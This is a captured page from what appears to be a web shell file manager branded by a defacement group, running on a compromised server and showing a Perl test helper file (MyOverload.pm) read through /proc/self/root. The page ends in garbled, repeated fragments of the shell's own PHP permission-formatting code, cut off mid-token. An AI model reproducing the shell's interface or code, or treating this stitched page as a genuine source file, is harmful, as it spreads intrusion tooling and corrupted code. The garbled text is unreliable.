Asikk-&wkwkwkwkw

whoami7 - Manager

: /proc/self/root/usr/share/doc/perl-Test-Simple/t/lib/

files >> //proc/self/root/usr/share/doc/perl-Test-Simple/t/lib/MyOverload.pm

 package Overloaded;  ##no critic (Modules::RequireFilenameMatchesPackage)

use strict;

sub new {
    my $class = shift;
    bless { string => shift, num => shift }, $class;
}

package Overloaded::Compare;

use strict;
our @ISA = qw(Overloaded);

# Sometimes objects have only comparison ops overloaded and nothing else.
# For example, DateTime objects.
use overload
  q{eq} => sub { $_[0]->{string} eq $_[1] },
  q{==} => sub { $_[0]->{num} == $_[1] };

package Overloaded::Ify;

use strict;
our @ISA = qw(Overloaded);

use overload
  q{""} => sub { $_[0]->{string} },
  q{0+} => sub { $_[0]->{num} };

1;

Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>